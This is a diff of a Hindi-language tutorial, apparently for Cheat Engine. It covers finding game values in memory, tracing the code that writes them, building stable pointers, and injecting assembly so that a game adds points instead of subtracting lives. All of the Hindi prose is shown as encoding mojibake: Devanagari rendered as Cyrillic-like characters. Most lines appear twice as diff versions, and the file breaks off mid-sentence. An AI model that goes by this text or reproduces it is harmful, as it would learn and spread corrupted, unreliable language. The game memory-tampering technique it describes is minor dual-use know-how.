рд╣реИрдВред +рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, рдЖрдк **рдорд╛рди рдирд╣реАрдВ рдЬрд╛рдирддреЗ** рд▓реЗрдХрд┐рди рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ **рдХреИрд╕реЗ рдЗрд╕реЗ рдмрджрд▓рдирд╛ рд╣реИ** (рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдкрд░рд┐рд╡рд░реНрддрди рдХрд╛ рдорд╛рди) рдЖрдк рдЕрдкрдиреЗ рдирдВрдмрд░ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рддреЛ, "**рдЕрдЬреНрдЮрд╛рдд рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдорд╛рди**" рдкреНрд░рдХрд╛рд░ рдХреА рд╕реНрдХреИрди рдХрд░рдиреЗ рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдВ: ![](<../../images/image (890).png>) -рдлрд┐рд░, рдорд╛рди рдХреЛ рдмрджрд▓реЗрдВ, **рдХреИрд╕реЗ** **рдорд╛рди** **рдмрджрд▓рд╛** рд╣реИ, рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдВ (рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдпрд╣ 1 рд╕реЗ рдШрдЯрд╛) рдФрд░ **рдЕрдЧрд▓реА рд╕реНрдХреИрди** рдХрд░реЗрдВ: +рдлрд┐рд░, рдорд╛рди рдХреЛ рдмрджрд▓реЗрдВ, **рдХреИрд╕реЗ** **рдорд╛рди** **рдмрджрд▓рд╛** рд╣реИ (рдореЗрд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ рдпрд╣ 1 рд╕реЗ рдШрдЯрд╛) рдФрд░ **рдЕрдЧрд▓реА рд╕реНрдХреИрди** рдХрд░реЗрдВ: ![](<../../images/image (371).png>) -рдЖрдкрдХреЛ **рдЙрди рд╕рднреА рдорд╛рдиреЛрдВ** рдХреА рд╕реВрдЪреА рдкреНрд░рд╕реНрддреБрдд рдХреА рдЬрд╛рдПрдЧреА рдЬреЛ **рдЪрдпрдирд┐рдд рддрд░реАрдХреЗ рд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд┐рдП рдЧрдП рдереЗ: +рдЖрдкрдХреЛ **рд╕рднреА рдорд╛рди рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдП рдЬрд╛рдПрдВрдЧреЗ рдЬреЛ рдЪрдпрдирд┐рдд рддрд░реАрдХреЗ рд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдП рдЧрдП рдереЗ**: ![](<../../images/image (569).png>) рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдЕрдкрдирд╛ рдорд╛рди рдкрд╛ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХрдИ **рд╕рдВрднрд╡ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ** рдХреА рдПрдХ **рд▓рдВрдмреА рд╕реВрдЪреА** рд╣реИ рдФрд░ рдЖрдк рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрди **рдЪрд░рдгреЛрдВ** рдХреЛ рдЬрд┐рддрдиреА рдЪрд╛рд╣реЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХрдИ **рд╕рдВрднрд╡ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ** рдХреА рдПрдХ **рдмрд╣реБрддрд╛рдпрдд** рд╣реИ рдФрд░ рдЖрдк рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрди **рдЪрд░рдгреЛрдВ** рдХреЛ рдЬрд┐рддрдиреА рдЪрд╛рд╣реЗрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ![](<../../images/image (574).png>) ### рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдореЗрдореЛрд░реА рдкрддрд╛ - рдХреЛрдб рдЦреЛрдЬрдирд╛ -рдЕрдм рддрдХ рд╣рдордиреЗ рдпрд╣ рд╕реАрдЦрд╛ рд╣реИ рдХрд┐ рдПрдХ рдорд╛рди рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкрддреЗ рдХреЛ рдХреИрд╕реЗ рдЦреЛрдЬреЗрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдмрд╣реБрдд рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ **рдЦреЗрд▓ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рд╡рд╣ рдкрддрд╛ рдореЗрдореЛрд░реА рдХреЗ рд╡рд┐рднрд┐рдиреНрди рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рд╣реЛ**ред рддреЛ рдЪрд▓рд┐рдП рдкрддрд╛ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдЙрд╕ рдкрддреЗ рдХреЛ рд╣рдореЗрд╢рд╛ рдХреИрд╕реЗ рдЦреЛрдЬреЗрдВред +рдЕрдм рддрдХ рд╣рдордиреЗ рдПрдХ рдорд╛рди рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкрддреЗ рдХреЛ рдЦреЛрдЬрдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рд╕реАрдЦрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдмрд╣реБрдд рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ **рдЦреЗрд▓ рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рд╡рд╣ рдкрддрд╛ рдореЗрдореЛрд░реА рдХреЗ рд╡рд┐рднрд┐рдиреНрди рд╕реНрдерд╛рдиреЛрдВ рдореЗрдВ рд╣реЛ**ред рддреЛ рдЪрд▓рд┐рдП рдкрддрд╛ рд▓рдЧрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдЙрд╕ рдкрддреЗ рдХреЛ рд╣рдореЗрд╢рд╛ рдХреИрд╕реЗ рдЦреЛрдЬреЗрдВред -рдХреБрдЫ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рддрд░рдХреАрдмреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЙрд╕ рдкрддреЗ рдХреЛ рдЦреЛрдЬреЗрдВ рдЬрд╣рд╛рдБ рдЖрдкрдХрд╛ рд╡рд░реНрддрдорд╛рди рдЦреЗрд▓ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдорд╛рди рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░ рд░рд╣рд╛ рд╣реИред рдлрд┐рд░ (рдпрджрд┐ рдЖрдк рдЪрд╛рд╣реЗрдВ рддреЛ рдЦреЗрд▓ рдХреЛ рд░реЛрдХрддреЗ рд╣реБрдП) рдЙрд╕ **рдкрддреЗ** рдкрд░ **рджрд╛рдПрдБ рдХреНрд▓рд┐рдХ** рдХрд░реЗрдВ рдФрд░ "**рдЗрд╕ рдкрддреЗ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдЦреЛрдЬреЗрдВ**" рдпрд╛ "**рдЗрд╕ рдкрддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдЦреЛрдЬреЗрдВ**" рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ: +рдХреБрдЫ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рддрд░рдХреАрдмреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЙрд╕ рдкрддреЗ рдХреЛ рдЦреЛрдЬреЗрдВ рдЬрд╣рд╛рдБ рдЖрдкрдХрд╛ рд╡рд░реНрддрдорд╛рди рдЦреЗрд▓ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдорд╛рди рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░ рд░рд╣рд╛ рд╣реИред рдлрд┐рд░ (рдпрджрд┐ рдЖрдк рдЪрд╛рд╣реЗрдВ рддреЛ рдЦреЗрд▓ рдХреЛ рд░реЛрдХрддреЗ рд╣реБрдП) рдЙрд╕ рдкрд╛рдП рдЧрдП **рдкрддреЗ** рдкрд░ **рджрд╛рдПрдБ рдХреНрд▓рд┐рдХ** рдХрд░реЗрдВ рдФрд░ "**рдЗрд╕ рдкрддреЗ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдЦреЛрдЬреЗрдВ**" рдпрд╛ "**рдЗрд╕ рдкрддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдЦреЛрдЬреЗрдВ**" рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ: ![](<../../images/image (1067).png>) -**рдкрд╣рд▓рд╛ рд╡рд┐рдХрд▓реНрдк** рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ рдХрд┐ **рдХреЛрдб** рдХреЗ **рдХреМрди рд╕реЗ рднрд╛рдЧ** рдЗрд╕ **рдкрддреЗ** рдХрд╛ **рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ** (рдЬреЛ рдХрд┐ рдЦреЗрд▓ рдХреЗ рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ)ред\ +**рдкрд╣рд▓рд╛ рд╡рд┐рдХрд▓реНрдк** рдпрд╣ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ рдХрд┐ **рдХреЛрдб** рдХреЗ рдХреМрди рд╕реЗ **рднрд╛рдЧ** рдЗрд╕ **рдкрддреЗ** рдХрд╛ **рдЙрдкрдпреЛрдЧ** рдХрд░ рд░рд╣реЗ рд╣реИрдВ (рдЬреЛ рдХрд┐ рдЦреЗрд▓ рдХреЗ рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ)ред\ **рджреВрд╕рд░рд╛ рд╡рд┐рдХрд▓реНрдк** рдЕрдзрд┐рдХ **рд╡рд┐рд╢рд┐рд╖реНрдЯ** рд╣реИ, рдФрд░ рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╕рд╣рд╛рдпрдХ рд╣реЛрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рдпрд╣ рдЬрд╛рдирдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рдХрд┐ **рдпрд╣ рдорд╛рди рдХрд╣рд╛рдБ рд╕реЗ рд▓рд┐рдЦрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ**ред -рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдПрдХ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЪрдпрди рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ **рдбреАрдмрдЧрд░** рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕реЗ **рдЬреБрдбрд╝ рдЬрд╛рдПрдЧрд╛** рдФрд░ рдПрдХ рдирдИ **рдЦрд╛рд▓реА рд╡рд┐рдВрдбреЛ** рджрд┐рдЦрд╛рдИ рджреЗрдЧреАред рдЕрдм, **рдЦреЗрд▓реЗрдВ** рдФрд░ рдЙрд╕ **рдорд╛рди** рдХреЛ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░реЗрдВ (рдЦреЗрд▓ рдХреЛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд┐рдП рдмрд┐рдирд╛)ред **рд╡рд┐рдВрдбреЛ** рдореЗрдВ **рдЙрди рдкрддреЗ** рд╕реЗ рднрд░рд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ **рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ**: +рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдПрдХ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЪрдпрди рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ **рдбреАрдмрдЧрд░** рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╕реЗ **рдЬреБрдбрд╝ рдЬрд╛рдПрдЧрд╛** рдФрд░ рдПрдХ рдирдИ **рдЦрд╛рд▓реА рд╡рд┐рдВрдбреЛ** рджрд┐рдЦрд╛рдИ рджреЗрдЧреАред рдЕрдм, **рдЦреЗрд▓реЗрдВ** рдФрд░ рдЙрд╕ **рдорд╛рди** рдХреЛ **рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░реЗрдВ (рдЦреЗрд▓ рдХреЛ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд┐рдП рдмрд┐рдирд╛)ред **рд╡рд┐рдВрдбреЛ** рдХреЛ рдЙрди **рдкрддреНрддреЛрдВ** рд╕реЗ **рднрд░рд╛** рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ **рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ**: ![](<../../images/image (91).png>) @@ -102,7 +102,7 @@ _рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЕрднреА рднреА рдХрдИ рдорд╛рди рд╣реИрдВ, ### рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдореЗрдореЛрд░реА рдкрддрд╛ - рдкреНрд╡рд╛рдЗрдВрдЯрд░ рдЦреЛрдЬрдирд╛ -рдкрд┐рдЫрд▓реЗ рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП, рдЙрд╕ рдорд╛рди рдХреЛ рдЦреЛрдЬреЗрдВ рдЬрд┐рд╕рдореЗрдВ рдЖрдк рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВред рдлрд┐рд░, "**рдЗрд╕ рдкрддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдЦреЛрдЬреЗрдВ**" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╣ рдкрддрд╛ рдХрд░реЗрдВ рдХрд┐ рдХреМрди рд╕рд╛ рдкрддрд╛ рдЗрд╕ рдорд╛рди рдХреЛ рд▓рд┐рдЦрддрд╛ рд╣реИ рдФрд░ рдЙрд╕ рдкрд░ рдбрдмрд▓ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдбрд┐рд╕реНрд╕реЗрдореНрдмрд▓реА рджреГрд╢реНрдп рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВ: +рдкрд┐рдЫрд▓реЗ рдЪрд░рдгреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рддреЗ рд╣реБрдП, рдЙрд╕ рдорд╛рди рдХреЛ рдЦреЛрдЬреЗрдВ рдЬрд┐рд╕рдореЗрдВ рдЖрдкрдХреА рд░реБрдЪрд┐ рд╣реИред рдлрд┐рд░, "**рдЗрд╕ рдкрддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рд╡рд╛рд▓реЗ рдХреЛ рдЦреЛрдЬреЗрдВ**" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдПрдВ рдХрд┐ рдХреМрди рд╕рд╛ рдкрддрд╛ рдЗрд╕ рдорд╛рди рдХреЛ рд▓рд┐рдЦрддрд╛ рд╣реИ рдФрд░ рдЙрд╕ рдкрд░ рдбрдмрд▓ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рдбрд┐рд╕реНрд╕реЗрдореНрдмрд▓реА рджреГрд╢реНрдп рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВ: ![](<../../images/image (1039).png>) @@ -111,7 +111,7 @@ _рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЕрднреА рднреА рдХрдИ рдорд╛рди рд╣реИрдВ, ![](<../../images/image (994).png>) (_рдпрджрд┐ рдХрдИ рджрд┐рдЦрд╛рдИ рджреЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдЖрдорддреМрд░ рдкрд░ рд╕рдмрд╕реЗ рдЫреЛрдЯреЗ рдкрддреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ_)\ -рдЕрдм, рд╣рдордиреЗ **рдкреНрд╡рд╛рдЗрдВрдЯрд░ рдкрд╛рдпрд╛ рд╣реИ рдЬреЛ рдЙрд╕ рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕рдореЗрдВ рд╣рдо рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ**ред +рдЕрдм, рд╣рдордиреЗ **рдЙрд╕ рдкреНрд╡рд╛рдЗрдВрдЯрд░ рдХреЛ рдЦреЛрдЬ рд▓рд┐рдпрд╛ рд╣реИ рдЬреЛ рдЙрд╕ рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕рдореЗрдВ рд╣рдорд╛рд░реА рд░реБрдЪрд┐ рд╣реИ**ред "**рдкрддрд╛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдЬреЛрдбрд╝реЗрдВ**" рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ: @@ -121,28 +121,28 @@ _рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЕрднреА рднреА рдХрдИ рдорд╛рди рд╣реИрдВ, ![](<../../images/image (392).png>) -(рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкрд╣рд▓рд╛ "рдкрддрд╛" рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрд╕ рдкреНрд╡рд╛рдЗрдВрдЯрд░ рдкрддреЗ рд╕реЗ рднрд░рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреЗ рд╣реИрдВ) +(рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкрд╣рд▓реЗ "рдкрддрд╛" рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЙрд╕ рдкреНрд╡рд╛рдЗрдВрдЯрд░ рдкрддреЗ рд╕реЗ рднрд░рд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреЗ рд╣реИрдВ) OK рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдПрдХ рдирдпрд╛ рдкреНрд╡рд╛рдЗрдВрдЯрд░ рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛: ![](<../../images/image (308).png>) -рдЕрдм, рдЬрдм рднреА рдЖрдк рдЙрд╕ рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЖрдк **рдорд╣рддреНрд╡рдкреВрд░реНрдг рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рднрд▓реЗ рд╣реА рдЙрд╕ рдорд╛рди рдХрд╛ рдкрддрд╛ рдЕрд▓рдЧ рд╣реЛред** +рдЕрдм, рдЬрдм рднреА рдЖрдк рдЙрд╕ рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рдорд╣рддреНрд╡рдкреВрд░реНрдг рдорд╛рди рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рднрд▓реЗ рд╣реА рдЙрд╕ рдорд╛рди рдХрд╛ рдкрддрд╛ рдЕрд▓рдЧ рд╣реЛ**ред ### рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди -рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХреЛрдб рдХрд╛ рдПрдХ рдЯреБрдХрдбрд╝рд╛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рдлрд┐рд░ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдЕрдкрдиреЗ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦреЗ рдЧрдП рдХреЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреБрдирдГ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ рдЖрдкрдХреЛ рдЕрдВрдХ рджреЗрдирд╛ рдмрдЬрд╛рдп рдЙрдиреНрд╣реЗрдВ рдШрдЯрд╛рдиреЗ рдХреЗ)ред +рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬрд╣рд╛рдБ рдЖрдк рд▓рдХреНрд╖рд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХреЛрдб рдХрд╛ рдПрдХ рдЯреБрдХрдбрд╝рд╛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рдлрд┐рд░ рдХреЛрдб рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдЕрдкрдиреЗ рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦреЗ рдЧрдП рдХреЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░реАрд░реВрдЯ рдХрд░рддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ рдЖрдкрдХреЛ рдЕрдВрдХ рджреЗрдирд╛ рдмрдЬрд╛рдп рдЙрдиреНрд╣реЗрдВ рдШрдЯрд╛рдиреЗ рдХреЗ)ред рддреЛ, рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдХрд┐ рдЖрдкрдиреЗ рдЙрд╕ рдкрддреЗ рдХреЛ рдЦреЛрдЬ рд▓рд┐рдпрд╛ рд╣реИ рдЬреЛ рдЖрдкрдХреЗ рдЦрд┐рд▓рд╛рдбрд╝реА рдХреЗ рдЬреАрд╡рди рд╕реЗ 1 рдШрдЯрд╛ рд░рд╣рд╛ рд╣реИ: ![](<../../images/image (203).png>) -**рдбрд┐рд╕реНрд╕реЗрдореНрдмрд▓рд░** рджрд┐рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк **рдбрд┐рд╕реНрд╕реЗрдореНрдмрд▓ рдХреЛрдб** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдВред\ -рдлрд┐рд░, **CTRL+a** рджрдмрд╛рдПрдБ рддрд╛рдХрд┐ рдСрдЯреЛ рдЕрд╕реЗрдВрдмрд▓ рд╡рд┐рдВрдбреЛ рдЦреБрд▓ рдЬрд╛рдП рдФрд░ _**Template --> Code Injection**_ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ: +**рдбрд┐рд╕реНрд╕реЗрдореНрдмрд▓ рдХреЛрдб** рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Show disassembler рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред\ +рдлрд┐рд░, **CTRL+a** рджрдмрд╛рдХрд░ рдСрдЯреЛ рдЕрд╕реЗрдВрдмрд▓ рд╡рд┐рдВрдбреЛ рдХреЛ рдЦреЛрд▓реЗрдВ рдФрд░ _**Template --> Code Injection**_ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред ![](<../../images/image (902).png>) -**рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЬрд┐рд╕ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрддрд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЙрд╕реЗ рднрд░реЗрдВ** (рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рднрд░рд╛ рд╣реЛрддрд╛ рд╣реИ): +**рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЬрд┐рд╕ рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрддрд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ** (рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рднрд░рд╛ рдЬрд╛рддрд╛ рд╣реИ) рднрд░реЗрдВ: ![](<../../images/image (744).png>) @@ -150,11 +150,11 @@ OK рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдПрдХ рдирдпрд╛ рдкреНрд╡рд╛рдЗ ![](<../../images/image (944).png>) -рддреЛ, рдЕрдкрдиреЗ рдирдП рдЕрд╕реЗрдВрдмрд▓реА рдХреЛрдб рдХреЛ "**newmem**" рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдбрд╛рд▓реЗрдВ рдФрд░ рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЪрд╛рд╣рддреЗ рдХрд┐ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП рддреЛ "**originalcode**" рд╕реЗ рдореВрд▓ рдХреЛрдб рд╣рдЯрд╛ рджреЗрдВ\*\*.\*\* рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдХреЛрдб 1 рдШрдЯрд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп 2 рдЕрдВрдХ рдЬреЛрдбрд╝реЗрдЧрд╛: +рддреЛ, рдЕрдкрдиреЗ рдирдП рдЕрд╕реЗрдВрдмрд▓реА рдХреЛрдб рдХреЛ "**newmem**" рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдбрд╛рд▓реЗрдВ рдФрд░ рдпрджрд┐ рдЖрдк рдирд╣реАрдВ рдЪрд╛рд╣рддреЗ рдХрд┐ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП рддреЛ "**originalcode**" рд╕реЗ рдореВрд▓ рдХреЛрдб рд╣рдЯрд╛ рджреЗрдВред рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдХреЛрдб 1 рдШрдЯрд╛рдиреЗ рдХреЗ рдмрдЬрд╛рдп 2 рдЕрдВрдХ рдЬреЛрдбрд╝реЗрдЧрд╛: ![](<../../images/image (521).png>) -**рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рдФрд░ рдЖрдкрдХрд╛ рдХреЛрдб рдкреНрд░реЛрдЧреНрд░рд╛рдо рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рд╕реЗ 